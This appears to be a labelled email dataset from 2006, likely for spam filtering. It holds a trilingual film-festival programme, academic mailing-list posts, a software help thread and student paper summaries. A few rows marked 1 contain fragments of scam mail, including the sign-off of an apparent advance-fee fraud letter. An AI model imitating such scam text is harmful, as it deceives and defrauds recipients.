entfernt vom zentralen Regierungsviertel. Gewöhnliche Jugendliche, die ihr Leben in stiller Verzweiflung verbringen, gelangweilt und gefangen in der einzigen Umgebung, die sie kennen. Eine kurze und prägnante Geschichte über junge Menschen ohne Geschichte. ""Homezone"" est un film au sujet et avec des adolescents à Wedding, Berlin. Joué par des acteurs locaux originaires d´un quartier d´ouvriers mélangé ethniquement au coeur de Berlin. Juste quelques blocs loin des bâtiments du gouvernement central. Des jeunes ordinaires vivant une vie de désespoir silencieuse, s´ennuyant et emprisonnés dans le seul environnement qu´ils connaissent. Une histoire courte et intense au sujet de jeunes sans histoire. __________________________________________________________________ Tuesday, May 9 6.00 pm / 18.00 Uhr TANGO CHARLIE Director: Mani Shankar Narrative, Color, 145 min. India 2004-2005 Hindi with English subtitles ""The film begins with a simple eulogy: `Every day hundreds of soldiers across the world die in strange battlefields. In Israel, Palestine, Iraq, Chechnya, Pakistan, India...the story is the same. If we were to pick one name from this endless list and tell you the story of his life, his love...it would be a tribute to the Unknown Soldier...for now and for ever.´ Naming the film `Tango Charlie´ is my way as a writer to draw attention to the fact that the name could be used to represent any soldier anywhere in the world, implying that everywhere the story is the same. Everywhere people die for their cause or country just because some leader decided to play a power game with some other leader. I made this film to show my audience that war is not something glamorous and patriotic. It´s not something to feel proud about. War is brutal and terrifying. It reduces us to our most inhuman and cruel selves."" ""Der Film beginnt mit einer einfachen Würdigung: `Jeden Tag sterben überall auf der Welt Hunderte von Soldaten auf fremden Schlachtfeldern. In Israel, Palästina, Irak, Tschetschenien, Pakistan, Indien...die Geschichte ist die gleiche. Sollten wir einen Namen aus der endlosen Liste wählen und euch die Geschichte seines Lebens erzählen, seiner Liebe...wäre es ein Tribut an den Unbekannten Soldaten...für jetzt und für immer!´ Den Film `Tango Charlie´ zu nennen, ist meine Art als Autor, die Aufmerksamkeit auf die Tatsache zu lenken, dass der Name jeden Soldaten auf der Welt repräsentieren könnte, in der Annahme, dass die Geschichte überall die gleiche ist. Überall sterben Menschen für ihre Sache oder ihr Land, einfach nur, weil irgendein Führer sich dazu entschlossen hat, Machtspiele mit irgendeinem anderen Führer zu betreiben. Diesen Film habe ich gemacht, um meinem Publikum zu zeigen, dass Krieg nichts glamouröses und patriotisches hat. Es ist nichts, auf das man stolz sein kann. Krieg ist brutal und fürchterlich. Er reduziert uns auf unser unmenschliches und grausames Selbst."" ""Le film commence par un simple honneur: `Chaque jour des centaines de soldats à travers le monde meurent dans les champs de bataille à l´étranger. En Israel, Palestine, Irak, Chechenie, Pakistan, Inde... l´histoire est la même. Si nous devions sélectionner un nom de cette liste sans fin et vous raconter l´histoire de sa vie, ses amour... ce serait un hommage au soldat inconnu... pour maintenant et pour toujours.´ Nommer le film ´Tango Charlie´ est ma manière en tant qu´auteur d´apporter l´attention sur le fait que le nom pourrait être employé pour représenter n´importe quel soldat n´importe où dans le monde, impliquant que partout l´histoire est identique. Partout des peuples meurent pour leur cause ou leur pays juste parce qu´un certains leaders ont décidé de jouer un jeu de pouvoir avec d´autres chefs. J´ai fait ce film pour prouver à mon public que la guerre n´est pas quelque chose de fascinant et patriotique. Ce n´est pas quelque chose pour en être fière. La guerre est brutale et terrifiante. Elle nous ramène nous les individus à un état plus inhumain et cruel"" __________________________________________________________________ Tuesday, May 9 8.30 pm / 20.30 Uhr ASHOOBE YADHA / MEMORIES CONFUSION Director: Farid Mirkhani Experimental, B/W, 12 min. Iran 2005 Turkish with English subtitles A man whose son died talks with passengers about his son, but... Ein Mann, dessen Sohn gestorben ist, spricht mit Fahrgästen über seinen Sohn, aber... Un homme dont le fils est mort parle avec des passagers au sujet de son fils, mais... THE WILL TO SURVIVE: THE STORY OF THE GULLAH/GEECHEE NATION Director: Jim White Documentary, Color, 47 min. U.S.A. 2006 English The documentary chronicles the Gullah and Geechee people, who were first brought from Africa to isolated islands near Georgia, U.S.A. Once enslaved in the Caribbean and the U.S.A., many African traditions are still alive in today´s Gullah/Geechee culture. Die Dokumentation zeichnet ein chronologisches Bild der ethnischen Gruppen Gullah und Geechee, die als erste von Afrika zu den abgelegenen Inseln nahe Georgia, USA, gebracht worden waren. Einst versklavt in der Karibik und in den USA, sind viele afrikanische Traditionen der Gullah-Geecheekultur heute noch lebendig. Le documentaire retrace l´histoire chronologique des peuples Gullah et de Geechee, qui ont été apportés les premiers d´Afrique sur les îles isolées près de la Géorgie/Etats-Unis. Autrefois asservis dans les Caraïbes et aux États-Unis, beaucoup de traditions africaines sont encore vivantes dans la culture d´aujourd´hui des Gullah et Geechee. WHAT MY MOTHER TOLD ME Director: Frances-Anne Solomon Narrative, Color, 57 min. U.K./Trinidad-Tobago 1995 English Exquisitely beautiful, and profoundly moving, ""What My Mother Told Me"" is a dramatic journey towards self-discovery. The story focuses on Jesse, a young woman from England, who goes to Trinidad to bury her father. Reluctantly she agrees to meet her mother, whom she thought had abandoned her when she was a child. Her mother tells her stories, revealing a troubled and violent marriage, and Jesse is forced to face the truth about her past. Äußerst schön und zu tiefst bewegend beschreibt ""What My Mother Told Me"" eine dramatische Reise zur Selbsterkenntnis. Die Geschichte handelt von Jesse, einer jungen Frau aus England, die nach Trinidad reist, um ihren Vater zu beerdigen. Widerstrebend ist sie damit einverstanden, ihre Mutter zu treffen, von der sie denkt, dass diese sie als Kind im Stich gelassen hat. Ihre Mutter erzählt ihr Geschichten, die eine Ehe mit Schwierigkeiten und Gewalt offenbaren, und Jesse wird gezwungen, sich der Wahrheit über ihre Vergangenheit zu stellen. Beau à l´exquise et profondément émouvant, ""What My Mother Told Me"" est un voyage dramatique vers la découverte de l´individu. L´histoire est centrée sur Jesse, une jeune femme d´Angleterre, qui va au Trinidad enterrer son père. À contre-coeur elle accepte de rencontrer sa mère, dont elle a pensé avoir été abandonnée par elle quand elle était un enfant. Sa mère lui raconte des histoires, révélant un mariage violent et troublée, et Jesse est forcée de faire face à la vérité au sujet de son passé. __________________________________________________________________ Tuesday, May 9 10.30 pm / 22.30 Uhr BUYING WINE OR HOW NOT TO Directors: Arnold C. Baker II & Thomas Campbell Narrative, Color, 19 min. U.S.A. 2004 English A short story of love and buying wine. Eine kurze Geschichte über Liebe und den Kauf von Wein. Une histoire courte d'amour et d’achat de vins. LOVE IN BERLIN...THE MEETING POINT Director: Lancelot Oduwa Imasuen Narrative, Color, 118 min. Nigeria/Germany 2005 English ""Love In Berlin"" is a story about a black boy and a white girl who have found love together despite their color and background. They are both from a racist background that hates intercultural marriages. Coolio´s mother has a deep hatred for Europeans, while Tanjas mother had once tasted love with a black American, who abandoned her when Tanja was a baby. Both women have strong reasons why their children must not unite. ""Love In Berlin"" ist die Geschichte eines schwarzen Jungen und eines weißen Mädchens, die ihre Liebe füreinander gefunden haben, ungeachtet ihrer Hautfarbe und Herkunft. Beide kommen aus rassistischen Familien, die interkulturelle eheliche Verbindungen verachten. Coolios Mutter hat einen tiefen Hass gegen Europäer, während Tanjas Mutter einst die Liebe zu einem schwarzen Amerikaner kennen gelernt hatte, der sie verließ, als Tanja ein Baby war. Beide Frauen haben starke Gründe, weshalb ihre Kinder nicht zusammen sein sollten. ""Love In Berlin"" est une histoire au sujet d´un garçon noir et d´une fille blanche qui ont trouvé l´amour ensemble en dépit de leur couleur et origine. Ils sont tous deux issus d´un milieu social raciste qui déteste les mariages interculturels. La mère de Coolio a une haine profonde pour les Européens, alors que la mère de Tanjas avait autrefois aimé un Américain noir, qui l´a abandonnée quand Tanja était un bébé. Les deux femmes ont des raisons fortes pour lesquelles leurs enfants ne doivent pas s´unir. __________________________________________________________________ Wednesday, May 10 6.00 pm / 18.00 Uhr NEGATIV Director: Amin Bahajb Khayyatipoor Experimental, Color, 14 min. Iran 2005 Turkish with English subtitles An experimental film demonstrating the ""other side"" of cinema results. Ein Experimentalfilm, der die ”andere Seite” der Filmkopie zeigt. Un film expérimentel montrant l´""autre côté"" de la bande du film. HOMELESS MESS Director: Loren Reed Experimental, Color, 7 min. U.S.A. 2004 English Art and life collide on the streets of Los Angeles and Sacramento in the shameful world of homelessness. Kunst und Leben prallen in den Straßen von Los Angeles und Sacramento in der beschämenden Welt der Obdachlosigkeit aufeinander. L´art et la vie se heurtent dans les rues de Los Angeles et de Sacramento dans le monde honteux des sans logis. PARDON ME CLEO, A DEATHROW TALE Director: Loren Reed Narrative, Color, 14 min. U.S.A. 2004 English An inmate on death row reaches out to Black youth before execution, through artwork in her cell. Eine Insassin in der Todeszelle wendet sich mit ihrer Kunst aus ihrer Zelle an schwarze Jugendliche, bevor sie hingerichtet wird. Une détenue condamnée à la peine de mort s´adresse au moyen de son art à la jeunesse noire avant d´être exécutée. CONTRIBUTE2 THE EXPERIENCE Director: David Hale Sylvester Documentary/Narrative, Color, 29 min. U.S.A. 2005 English ""My name is David Sylvester and on 9/11 my life long friend, neighbor and mentor was killed. I felt that it was unfair that any man, especially Kevin, should die in such an ignominious fashion and started a scholarship fund in his name at a local high school. To raise funds and awareness for this cause I rode my bicycle across the U.S.A. I matured, grew and evolved so much on this trip that I wanted to do more and entered a bike race that would take me from Cairo to Cape Town."" ""Mein Name ist David Sylvester und am 11. September wurde mein langjähriger Freund, Nachbar und Mentor getötet. Ich hatte das Gefühl, es sei unfair, dass irgendein Mann, und besonders Kevin, auf solch schändliche Weise sterben sollte, und begann in seinem Namen eine Stiftung in einer örtlichen High School. Um Geldmittel und Aufmerksamkeit für diese Sache zu bekommen, fuhr ich mit dem Fahrrad durch die ganze USA. Ich reifte, wuchs und entwickelte mich so sehr auf dieser Reise, dass ich mehr tun wollte, und nahm an einem Fahrradrennen teil, das mich von Kairo nach Kapstadt führte."" ""Mon nom est David Sylvester et le 11 Septembre mon ami de longue date, le voisin et conseiller a été tué. J´ai estimé qu´il était injuste qu´un homme, particulièrement Kevin, devait mourir d´une manière si honteuse et j´ai crée une fondation en son nom au sein d´un lycée local. Pour collecter des fonds et attirer l´attention du publique pour cette cause, j´ai conduit ma bicyclette à travers les États-Unis. J´ai mûri, grandi et ai évolué tellement lors de ce voyage que j´ai voulu faire plus et me suis présenté à une course de vélo qui me porterait du Caire au Cap Town."" ...VIAJERO DE MÍ MISMO... / ...TRAVELLER OF MY OWN... Directors: Galina Likosova & Hernán H. Restrepo Documentary, Color, 56 min. Colombia 2005 Spanish with English subtitles The documentary presents the life and music of Adolfo Mejía (1905-1973), Colombian composer, heir of Black, Native Colombian and Spanish musical roots, adoptive son of Cartagena, in his 100 anniversary. Mejía was a simple and, at the same time, an enigmatic person. Die Dokumentation präsentiert das Leben und die Musik Adolfo Mejías (1905-1973), kolumbianischer Komponist, mit Wurzeln in der Musik der Schwarzen, der Ureinwohner Kolumbiens und der Spanier, Adoptivsohn Cartagenas und in seinem 100. Geburtsjahr. Mejía war ein einfacher und gleichzeitig rätselhafter Mensch. Le documentaire présente la vie et la musique d´Adolfo Mejía (1905-1973), compositeur colombien, héritier des racines musicales des noirs, indiens et espagnoles, fils adoptif de Carthagène, dans le cadre de son 100ème anniversaire. Mejía était une personne simple et, en même temps, énigmatique. __________________________________________________________________ Wednesday, May 10 8.30 pm / 20.30 Uhr REUNION Director: Frances-Anne Solomon Documentary, Color, 30 min. U.K. 1995 English In September 1942, a group of West Indian women arrived in Britain to join the ATS, a branch of the army. The decision to recruit them followed two years of internal wrangling at the war office. In all, over 300 women served in Britain, Washington, and the Caribbean before the war ended. Now, nearly 50 years later, five such women are reunited to recount and reflect upon their experiences. Im September 1942 erreichte eine Gruppe von westindischen Frauen Britannien, um der ATS, einem Zweig der Armee, beizutreten. Die Entscheidung über ihre Rekrutierung folgte einem zweijährigen internen Streit im Kriegsministerium. Insgesamt dienten über 300 Frauen in Britannien, Washington und in der Karibik, bevor der Krieg endete. Heute, fast 50 Jahre später, sehen sich fünf dieser Frauen wieder, um ihre Erfahrungen auszutauschen und zu reflektieren. En septembre 1942, un groupe de femmes caraibéennes est arrivé en Grande-Bretagne pour rejoindre l´ATS, une branche de l´armée. La décision pour les recruter a causé deux ans de disputes internes au sein du bureau de la guerre. En tout, plus de 300 femmes ont servis en Grande-Bretagne, Washington, et les Caraïbes avant la fin de la guerre. Maintenant, presque 50 ans après, cinq d´entre elles sont réunies pour retracer et réfléchir sur leurs expériences. LEIMERT PARK: THE STORY OF A VILLAGE IN SOUTH CENTRAL LOS ANGELES Director: Jeannette Lindsay Documentary, Color, 88 min. U.S.A. 2005 English ""Leimert Park"" documents an extraordinary group of artists and musicians who, in the wake of the 1992 Los Angeles riots, created an underground arts movement and transformed a community. ""Leimert Park"" dokumentiert eine außergewöhnliche Gruppe von Künstlern und Musikern, die im Verlauf der Rebellion in Los Angeles 1992 eine Under ground-Kunstbewegung gründeten und die Gemeinde umgestalteten. ""Leimert Park"" documente un groupe extraordinaire d´artistes et de musiciens qui, à la suite des émeutes en 1992 à Los Angeles, ont créé un mouvement d´arts souterrain et ont transformé une communauté. __________________________________________________________________ Wednesday, May 10 10.30 pm / 22.30 Uhr PAM MORDECAI: HER TRUE-TRUE NAME Director: Tumelo Phadi Documentary, Color, 24 min. Canada 2005 English A renowned poet teacher and anthologist Pam Mordecai, in a rare conversation with fellow Jamaican writer, academic and long time friend Velma Pollard. Eine namhafte Dichterin, Lehrerin und Anthologin, Pam Mordecai, in einem seltenen Gespräch mit der jamaikanischen Schriftstellerkollegin, Akademikerin und langjährigen Freundin, Velma Pollard. Dans ce documentaire, le poète professeur et anthologiste renommé Pam Mordecai participe à une rare conversation avec son camarade l´auteur jamaïquain et académicien et ami depuis longtemps Velma Pollard. BASTARDS OF THE PARTY Director: Cle Sloan Documentary, Color, 96 min. U.S.A. 2004 English The evolution of Black gangs in Los Angeles, the fall of the Black Panther Party and the rise of the notorious Crips & Bloods, who coined the phrase, ""Bastards of the Party"". Chronologically documented from 1948-2005. Die Entwicklung schwarzer Gangs in Los Angeles, der Fall der Black Panther Party and der Aufstieg der berüchtigten Crips & Bloods, die den Ausdruck ""Bastards of the Party"" geprägt haben. Chronologisch dokumentiert von 1948-2005. L´évolution des groupes noirs à Los Angeles, la chute des ""Panthères noires"" et le soulèvement du groupe ""Crips & Bloods"" très redouté à l´époque, qui ont inventé l´expression, ""Bastards of the Party"". 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Vi t si o t our l site Sincerely, Geraldine Michelsen Ap i pr h oval Manager",1,1 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 19 Apr 2006 08:18:52 -0400","Official release: Report of the CODATA workshop, SADC Region","[Forwarding from CODATA via Jennifer De Beer. --Peter.] Hello, At the recent Berlin 4 conference I made mention of the CODATA SADC meeting's executive summary and recommendations which were awaiting official release. That report is now officially released and available, and is important since * apart from its being a CODATA document in collaboration with the South African National Research Foundation and any sway that that would hold * it arises from the Southern hemisphere * makes important recommendations vis-a-vis mandated access to data and information. * and speaks of policy interventions by funders in their requiring self-archiving I've tried to access this final document so as to verify that the version I have of a month ago corresponds to this officially released one, but the web site had some tech diffculties. In the meantime see key excerpts as blogged at http://jenniferdebeer.blogspot.com/2006/03/codata-icsu-workshop-follow-up.html Regards, Jennifer De Beer --- Jennifer A. De Beer Curso: Máster en Derecho de las Telecomunicaciones y TIC Universidad Carlos III de Madrid (E) jenniferdebeer@gmail.com (M) +34 697904697 ---------- Forwarded message ---------- From: Steve Rossouw Date: Apr 18, 2006 9:46 PM Subject: Report of the CODATA workshop, SADC Region To: The Report, Executive Summary, and presentations from the September 2005 CODATA Workshop on Strategies for Permanent Access to Scientific Information in Southern Africa are now available for access and distribution. The workshop was held in Pretoria, South Africa with special focus on issues related to the preservation of and access to scientific information resources in the SADC countries. The South African and the U.S. National Committees for CODATA presented the workshop in collaboration with the South African National Research Foundation and the CODATA Task Group on Preservation of and Access to Scientific and Technical Data in Developing Countries. The workshop reports, program, and presentations are available at the following URL: http://stardata.nrf.ac.za/html/workshopCodataPublications.html In addition, the reports and presentations are available on a CD. To receive a CD, kindly use the ""Order a CD"" e-mail link to provide a postal address. Prof S F Rossouw Chairman: S A National Committee for CODATA steveros@iafrica.com and Ms Henda v/d Berg, S A National Research Foundation henda@nrf.ac.za (Apologies for cross-posting).",0,1 net_people@email.rutgers.edu,net_people@email.rutgers.edu,"Wed, 19 Apr 2006 12:00:05 -0400","[Net_people] Network Maintenance - Thursday, 04/20/2006 ","Network Maintenance - Thursday, 04/20/2006 ID: 1389 Description: OS Upgrade - DLIB, LOR, FSC, CCC Areas Disruption: Outage Campus: Busch Start Date: 04/20/2006 0700 End Date: 04/20/2006 0730 Summary: TD Network Operations will upgrade the OS on access devices in the LOR, FSCI, DLIB, and LOR areas. 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TD-Network Operations Center _______________________________________________ Net_people mailing list Net_people@email.rutgers.edu https://email.rutgers.edu/mailman/listinfo/net_people ",0,1 Maria Luiza Cunha Lima ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Apr 2006 14:44:29 -0300",[DMDX] problems running dmdx,"Hello, I am having problems when I try to set up timedx, I receive the message: ""Directx reports no support for Page Flipping The video card in this machine is not adequate for DMDX'x purposes"" I have a Nvidia geforce4 MX 4000 video card and a pentium 4 PC. I would be very thankful for any kind of help on this. I thank you very much in advance, Maria Luiza ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Apr 2006 13:15:34 -0700",[DMDX] Re: problems running dmdx,"At 02:44 PM 4/19/2006 -0300, you wrote: >Hello, > >I am having problems when I try to set up timedx, I receive the message: > >""Directx reports no support for Page Flipping >The video card in this machine is not adequate for DMDX'x >purposes"" > >I have a Nvidia geforce4 MX 4000 video card and a pentium 4 PC. I >would be very thankful for any kind of help on this. Given the recent trouble someone else had with that you probably have the hardware acceleration tab set to none. Display Properties / Advanced / Troubleshoot. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An elephant is a mouse built to Mil-spec. ",0,0 ,,,Temporal hierarchy as a tree of coincidence detectors (new),"Stan wrote (>): >>Again, I want to think about the simplest hierarchy first. To me this >>consists of a bifurcation tree shown below which is composed of a set of >>three kinds of elements - monovalent, bivalent and trivalent elements. The >>root of the tree (i.e., 1 in the figure below) is bivalent, the leaves >>(e.g., 16, 17, 18, etc.) are monovalent, and the rest of the tree consists >>of trivalent branching points (e.g., 2, 4, 8, etc.). It may well be that >>any hierarchy in 2D-plane can be constructed using these three elements, >>which may be viewed as the atoms of 2D-hierarchies. By extension, we can >>easily envision the atoms of 3D-, 4D-, etc. hierarchies, in which case we >>may have to introduce 4-valent and 5-valent elements as well. For >>convenience we may refer to the n-valent element of a tree hierarchy as >>the ""n-hierarchon"" (Sorry, Stan. One too many neologism?) So, in the >>following figure, 1 would be a 2-hierarchon; 2, 3, . . . , 16 would be >>3-hierarchons; and 16 through 31 would be 1-hierarchons. >> >>Based on this classificaiton of the elements of hierarchies, it becomes >>evident that not all the elements of a temporal hierarchy can serve as >>'coincidence detectors'. Only the trivalent hierarchons can fullfill the >>role of coincidence detectors. >> >>Returning to the simplest 2D hierarchy (i.e., the hierarchy shown below), >>I think we can use it to represent two distinct kinds of hierarchies-- >>spatial and temporal hierarchies, which may turn out to be projections of >>a higher-order hierarchy, the 'spatiotemporal' hierarchy. > SS: The scale hierarchy is spatio-temporal. I can see that, sinc eyou need x, y, z and t coordinates to specify each of the 'hierarchons' constituting a scale hierarchy. >>We may >>designate them as the s-hierarchy, the t-hierarchy, and the st-hierarchy. >>This in turn would force us to admit of three classes of hierarchons -- >>s-, t-and st-hierarchons, each having three distinct kinds of elements as >>already discussed (in the case of 2D hierachies). We can denote these >>different kinds of hierarchons thus -- s1-, s2-, and s3-hierchons >>constituting the s-hierarchy, t1-, t2- and t3-hierarchons for the t->>hierarchy, and st1-, st2-and st3-hierarchons. >> 1 2^0 >> / \\ >> / \\ >> 2 3 2^1 >> / \\ / \\ >> / \\ / \\ >> 4 5 6 7 2^2 >> / \\ >> / \\ >> 8 9 10 11 12 13 14 15 2^3 >> / \\ >> / \\ >> 16 17 18 19 20 21 23 24 . . . 2^4 >> >>Figure 1. A hierarchy composed of a set of mono-, bi- and tri-valent >>elements referred to here as ""hierarchons"". See above for the meaning of >>the valency of elements. > SS: I presume that the numbers from 10 up imply other nodes up above, >other than 1. No. I was not thinking that, although one could, which woul dmake the hierarchy more complex. >If not, we need more expliation. Generally speaking, we can allow any node of a basic tree hierarchy (e.g., the hierarchy 1-4-7 above) to be a hierarchy, thus leading to a recursive definition of the hierarchy: A hierarchies of hierarchies of hierarchies . . . . >As well, are you >envisioning that any node might shift from bi- to multivalency in its >functioning? Again, I was not thinking such a possibility originally, but I think we can accommodate this idea as well, within the framework of the basic tree hierachy shown above. For example, we can specify that certain of the edges will have a defined lifetime: Edge 1-2 may dissolve after say time t. For the same token, new edges may be allowed to form at a certain time, t', say, between nodes 3 and 4, making them tetravalent after t'. In this manner, we can use a tree hierarchy to represent temporal logic as well. >>Using the terminology introduced above, we may identify your scale >>hierarchy as an example of the 2D spatial hierarchy, which would include >>the hierarchy formed by quarks, nucleons, atoms, molecules, complexes, >>etc. SS: Yes, that would be an example. >>>Specification hierarchy = {physical process {chemical affinities >>> {biological form}}}, with {lower level {emergent higher level}}, and >>>using the logic of set theory, as implied by the style of the brackets -->>>so, chemistry is a KIND of physics. >>I wonder if we can consider your specification hierarchy as an example of >>the spatiotemporal hierarchy defined above. This identification would be >>valid if we can show that the hierarchons involved in specification >>hierarchy require both the spatial and the time dimension to be completely >>specified. > Well, let's look at a well-known example familar to you: Biology >harnesses Chemistry = {chemistry {biology}}. Harnessing means imposing >informational constraints, allowing some reactions, discouraging others, >and separating many of them into different compartments, imposing a pattern >upon what would otherwise be a jumble of reactions I understand what you are trying to say here, but I am not sure if I can agree with your notion of ""biology harnessing chemsitry"". I don't think biology harness chemistry at all. Biology only obeys chemistry, i.e., chemistry seems to have a mind of its own, behaving in the same way regardless of whether it is inside the cell or out in the depth of an ocean. So, in this sense, we can just as confidently say that chemistry harnesses biology. I agree that chemistry is a necessary condition for biology but not sufficient. But if we take into account both chemistry AND the physics of the environment under which organisms have evolved, then I think we have a sufficient condition for biology: Biology is the natural consequence of chemistry (responsible for giving rise to all possible configuraions of chemicals) and environment (which selects, obeying the laws of physics, certain of the possible chemical configruations because of their ability to self-reproduce under a given environment). >that might on their own >self-organize into a some power law distributed system until it ran out of >energy. So increasing specification amouns to imposing order 'from above' >upon an otherwise more freely buzzing system that might self-organize order >on its own. I do not bilieve that biology imposes order on chemistry. Rather biology results inevitably from the vast variety of material configurations afforded by chemistry and the selecting power of the environment. In other words, biology can be viewed as a coincidence dtector (of conicidence detectors): ______________ Chemistry --- > | Organisms | | as | | Coincidence | ----- > Biology Physics -----> | Detectors | |______________| Figure A. Biology as the inevitable consequence of the coincidence between the right Chemsitry and the right Physics of the Environment. In other words, organisms can be viewed as coincidence detectors of the right Chemistry and the right Physics of the environment. >Possibly, in your diagram, if 1 could switch which nodes it >unites in some temporal pattern, then that would be an example of a >specification hierarchy, with 1's behavior being a higher level regulator. With all the best. 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Yours Faithfully, Mrs. Claudia Koroma Please visit the following web pages for further information on the Sierra Leone war: http://www.cia.gov/cia/publications/factbook/geos/sl.html http://www.hrw.org/reports98/sierra/ http://www.refugees.org/news/crisis/sierraleone/sierraleone_photos.htm http://www.theirc.org/Sierra%20Leone/ http://www.infoplease.com/spot/sankoh1.html ",1,1 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 20 Apr 2006 01:53:01 -0400",paper 23,"Grid is a different response to issues similar to some that P2P applications have been developed to deal with: sharing and allocating resources over widely distributed networks. The main point of the OGSA paper is an outline of the distributed services architecture. Hosts implement service factories that create transient service instances upon request. To tolerate failures that could potentially cause orphaning of service requests, OGSA uses a soft-state approach where every instance has a pre-negotiated lifetime, and extending the lifetime requires explicit requests from clients. To advertise and discover services, OGSA requires a centralized registry service. Grid and P2P both seek to optimize the same general idea: the distribution of resources. The only difference is the perceived usage of the two systems. While Grid tends to be used in more scientific settings where such things as incentives are not a concern and the number of distinct independent entities in the network is small, P2P is often associated with file-sharing services where leechers who do not share their bandwidth are common and the network has completely different characteristics. However, that is just a difference in assumptions. One could easily take, for instance, the file storage distribution system of Samsara and apply it over a network that Grid is running on. Or one could apply a resource exchange application such as SHARP. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 02:46:44 -0400",PAPER 23,"OGSA: The authors wish to provide an Open Grid Services Architecture which will allow the successful commercial application of grid computing. This system will provide QoS guarantees, robustness, and flexible resource allocation, as well as integration with existing legacy systems. Aspects of the system are based on the existing Globus Grid Computing Toolkit. Other web based standards such as SOAP, WSDL, and others also used. The main functional unit generated by OGSA is a virtual organization (VO). The proposed grid service interfaces are GridService, Notification-Source, Notification-Sink, Registry, Factory, and HandleMap, and are used to compose a set of services for a VO. The following higher-level services achievable by the systm include distributed data management services, workflow services, auditing services, instrumentation and monitoring services, problem determination services for distributed computing, and security protocol mapping services. Essentially the system organizes and arbitrates the combined resources of a large number of networked computers. Every resources is represented as a service, and users generate virtual organizations which make use of collections of these services. OGSA proposes to use a number of web standards as well as the Globus toolkit to implement the system. This document is a recommendation for the final system, so there is no evaluation of an actual OGSA system. Thus, it is difficult to comment on it's merit. CONVERGENCE: The authors primary claim is that P2P and Grid computing systems address the same greater goal, yet each thus far has focused primarily on two different aspects of such a system: P2P addresses failure but not infrastructure, and Grid computing infrastructure but not failure. As an ideal system would address both issues, the authors see an eventual convergence of these two technologies. There are however, several significant differences between current P2P and Grid systems. Grid systems generally are composed of resources for which there is some level of trust, and the services offered can be specialized. P2P systems cannot assume trusted resources, and provide more general services. Grid resources are also generally more powerful and well connected, as where P2P resources are varied and may be poorly connected. These characteristics also lend to more hierarchical organization in Grid systems, and larger file transfers between nodes. Grid systems are also generally composed of much smaller numbers of nodes. The authors argue that despite this disparities, both types of systems would benefit from the advances made by the other. Grid systems will grow to encompass larger numbers of nodes, and P2P networks will benefit from more structure, for example. However, in my own opinion there seem to be some non-convergent aspects of the two systems, or rather two disparate assumptions or design philosophies associated with each system: fairness is a requirement and must be enforced in P2P, while Grids serve the same greater purpose and so fairness between nodes is not required. Based on this difference, it is not clear to me that complete convergence between the two types of systems will be achieved or will be optimal. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 02:51:13 -0400",PAPER 23,"* The Open Grid Services Architecture (OGSA) describes an architecture for a service-oriented grid computing environment. OGSA, based on several other web service technologies, aims to be largely agnostic in relation to the transport-level handling of data. * Basically, OGSA is a distributed interaction and computing architecture based around services, assuring interoperability on heterogeneous systems so that different types of resources can communicate and share information. * OGSA extends the earlier article ""The Anatomy of Grid"" that defines Grid technologies as supporting the resource sharing in distributed virtual organizations (VOs) in three respects. (i) It focuses on the nature of services that respond to protocol messages. Here Grid is regarded as an extensible set of Grid services, services that conform to a set of conventions and support lifetime management, discovery of characteristics and so on. (ii) It shows how Grid technologies can be aligned with web services technologies. The Web Service Description Language (WSDL) is used here to achieve self-describing services and interoperable protocols. (iii) It discusses the commercial applications rather than scientific applications of this architecture. * It is worth noting that all components in the Grid environment are virtualized. Virtualization of this model enables mapping common service semantic behavior seamlessly onto native platform facilities. * This paper compares and contrasts peer-to-peer and grid computing. It arrives at four conclusions. (i) Peer-to-peer and grid computing both are concerned with the pooling and coordinated use of distributed resources within virtual communities. (ii) Peer-to-peer and grid computing both are constructed as overlay structures that operate independently of institutional relationships. (iii) Peer-to-peer computing addresses failure but not yet the infrastructure where as grid computing addresses infrastructure but not yet the failure. (iv) Because of their commonalities and complementary strengths and weaknesses mentioned above, they are likely to grow close over time.",0,0 Willis Osemo ,,"Thu, 20 Apr 2006 10:29:45 +0300",Newsflash - Briefing Note # 47 - Mobile Phone-Based E-Banking: The Customer Value Proposition,"!!Newsflash!! Briefing Note # 47 - Mobile Phone-Based E-Banking: The Customer Value Proposition There is growing consensus that e-banking offers a unique opportunity to address mainstream banks' two major barriers to serving the low-income market: the need for a branch infrastructure and managing high volumes of low value transactions. In addition, e-banking systems hold the promise of being able to extend centralised banking systems deeper into rural communities. Despite this, the many examples of failed e-banking initiatives provide ample warning that offering e-banking solutions is not an easy proposition. Most of these initiatives have failed because the financial institutions have focused on the technological solution or the savings that it can generate for their business, without considering the needs of the customers or the intermediary agents who usually have to provide the service to them. This Briefing Note examines these issues in the context of mobile phone-based e-banking solutions. Click here to download the Briefing Note. !!Newsflash!!",0,1 Maria Luiza Cunha Lima ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Apr 2006 07:34:34 -0300",[DMDX] Re: problems running dmdx,"Hello, I thank you very much for your help. Unfortunately, I have tried to change hardware acceleration and it didn't work, I keep receiving the same message: ""Directx reports no support for Page FlippingThe video card in this machine is not adequate for DMDX'x purposes"". One friend of mine has the same videocard on another computer and dmdx's runs nicely. Did anybody have a problem like this? Thank you again, Maria Luiza On 4/19/06, j.c.f. wrote: > At 02:44 PM 4/19/2006 -0300, you wrote: > >Hello, > > > >I am having problems when I try to set up timedx, I receive the message: > > > >""Directx reports no support for Page Flipping > >The video card in this machine is not adequate for DMDX'x > >purposes"" > > > >I have a Nvidia geforce4 MX 4000 video card and a pentium 4 PC. I > >would be very thankful for any kind of help on this. > > Given the recent trouble someone else had with that you probably have the > hardware acceleration tab set to none. Display Properties / Advanced / > Troubleshoot. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > An elephant is a mouse built to Mil-spec. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 20 Apr 2006 09:08:43 